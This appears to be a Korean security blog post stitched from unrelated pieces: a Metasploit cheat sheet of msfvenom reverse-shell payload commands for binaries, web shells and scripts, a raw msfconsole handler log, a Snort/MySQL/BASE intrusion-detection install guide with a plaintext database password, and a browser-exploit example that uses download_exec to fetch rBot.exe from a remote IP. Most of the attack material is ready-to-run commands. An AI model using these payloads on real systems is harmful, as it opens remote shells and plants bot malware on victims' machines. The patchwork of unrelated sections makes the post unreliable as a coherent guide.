Creating Metasploit Payloads

Often one of the most useful (and to the beginner underrated) abilities of Metasploit is the msfpayload module. Multiple payloads can be created with this module and it helps something that can give you a shell in almost any situation. For each of these payloads you can go into msfconsole and select exploit/multi/handler. Run ‘set payload’ for the relevant payload used and configure all necessary options (LHOST, LPORT, etc). Execute and wait for the payload to be run. For the examples below it’s pretty self explanatory but LHOST should be filled in with your IP address (LAN IP if attacking within the network, WAN IP if attacking across the internet), and LPORT should be the port you wish to be connected back on.

List payloads

msfvenom -l

Binaries

Linux

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf

Windows

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe

Mac

msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho

Web Payloads

PHP

msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php

ASP

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp

JSP

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp

WAR

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war

Scripting Payloads

Python

msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py

Bash

msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh

Perl

msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl

Shellcode

For all shellcode see ‘msfvenom –help-formats’ for information as to valid parameters. Msfvenom will output code that is able to be cut and pasted in this language for your exploits.

Linux Based Shellcode

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>

Windows Based Shellcode

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>

Mac Based Shellcode

msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>

Handlers

Metasploit handlers can be great at quickly setting up Metasploit to be in a position to receive your incoming shells. Handlers should be in the following format.

use exploit/multi/handler
set PAYLOAD <Payload name>
set LHOST <LHOST value>
set LPORT <LPORT value>
set ExitOnSession false
exploit -j -z

Once the required values are completed the following command will execute your handler – ‘msfconsole -L -r 

출처: https://netsec.ws/?p=331

Test..

msf > use exploit/multi/handler msf exploit(handler) > msfvenom -p cmd/unix/reverse_python LHOST=x.x.x.x LPORT=4444 -f raw > shell.py [*] exec: msfvenom -p cmd/unix/reverse_python LHOST=x.x.x.x LPORT=4444 -f raw > shell.py No platform was selected, choosing Msf::Module::Platform::Unix from the payload No Arch selected, selecting Arch: cmd from the payload No encoder or badchars specified, outputting raw payload Payload size: 617 bytes msf exploit(handler) > set payload cmd/unix/reverse_python payload => cmd/unix/reverse_python msf exploit(handler) > set LHOST 13.124.26.147 LHOST => 13.124.26.147 msf exploit(handler) > show options Module options (exploit/multi/handler): Name Current Setting Required Description ---- --------------- -------- ----------- Payload options (cmd/unix/reverse_python): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 13.124.26.147 yes The listen address LPORT 4444 yes The listen port SHELL /bin/bash yes The system shell to use. Exploit target: Id Name -- ---- 0 Wildcard Target msf exploit(handler) > run [-] Handler failed to bind to x.x.x.x:4444:- - [*] Started reverse TCP handler on 0.0.0.0:4444 [*] Starting the payload handler...




1. 컴파일러 설치

apt-get install gcc
apt-get install g++
apt-get install make
apt-get install m4
apt-get install flex
apt-get install bison
apt-get install libc6-dev

 

2. libpcap 설치

wget www.tcpdump.org/release/libpcap-1.1.1.tar.gz
root@ubuntu:~/down# cd libpcap-1.1.1
root@ubuntu:~/down# ./configure
root@ubuntu:~/down# make && make install

 

3. pcre 설치

wget ftp://ftp.csx.cam.ac.uk/pub/software/programming/pcre/pcre-8.30.tar.gz
root@ubuntu:~/down/pcre-8.10# ./configure
root@ubuntu:~/down/pcre-8.10# make && make install

 

4. mysql 설정 (mysql 설치 방법은 http://blog.naver.com/leopit/140154575158 참조)

mysql> CREATE DATABASE snort;
mysql> grant CREATE, INSERT, SELECT, UPDATE on snort.* to snort@localhost;
mysql> grant CREATE, INSERT, SELECT, UPDATE on snort.* to snort;
mysql> SET PASSWORD FOR snort@localhost=PASSWORD('snort-db');
mysql> flush privileges;

mysql> show grants for snort@localhost;

+--------------------------------------------------------------------------------------------------+
| Grants for snort@localhost |
+--------------------------------------------------------------------------------------------------+
| GRANT USAGE ON *.* TO 'snort'@'localhost' IDENTIFIED BY PASSWORD '*41D58FEF5E7399DB002ACCB899DDB70B7395E774' | 
| GRANT SELECT, INSERT, UPDATE, CREATE ON `snort`.* TO 'snort'@'localhost' |
+--------------------------------------------------------------------------------------------------+

5. snort-mysql 설치

apt-get install snort-mysql 

 

6. snort 환경설정 파일 수정
vi /etc/snort/database.conf
 

#output database: log, mysql,

output database: alert, mysql, user=snort password=snort-db dbname=snort host=localhost

 

7. Snort DB 테이블 생성

cd /usr/share/doc/snort-mysql/
zcat create_mysql.gz | mysql -u snort -D snort -psnort-db
rm /etc/snort/db-pending-config

 

8. 로그파일 권한 수정

ls -al /var/log/snort/alert
chown snort /var/log/snort/alert
chmod 666 /var/log/snort/alert

 

9. 데몬 재시작

/etc/init.d/snort start

 

10. BASE 다운로드 및 설치

downloads.sourceforge.net에서 adodb 다운로드

cp -r /root/down/adodb5 /var/www/adodb/

 

base.secureideas.net 에서 base 다운로드

cp -r /root/down/base-1.4.5 /var/www/base

 

브라우저에서 http://localhost/base/setup/index.php 접근 (설치페이지)

adodb 경로 : /var/www/adodb 입력

각종 접근 정보 입력

 

base_conf.php 생성

 

http://localhost/base/base_main.php 접근후 최종 확인

 

11. Metasploit 설치

$ sudo apt-get install subversion ruby rubygems libopenssl-ruby 
$ svn co https://www.metasploit.com/svn/framework3/trunk/
$ mv trunk metasploit

 

테스트예)
msf > use windows/browser/ms06_001_wmf_setabortproc

msf > set payload windows/download_exec

msf > set URL http://20.30.40.234/rBot.exe

msf > set SRVHOST 20.30.40.222

msf > set LHOST 20.30.40.222

msf > set URIPATH attack.html

msf > exploit

'Security' 카테고리의 다른 글

사용자 인증  (0) 2017.01.08
FTP Active/Passive 정리  (0) 2017.01.06
포트 스캐닝으로부터 OS 정보 숨기기  (0) 2017.01.06
R.U.D.Y DDoS  (0) 2017.01.05
slowloris 분석/대응방안  (0) 2017.01.05

+ Recent posts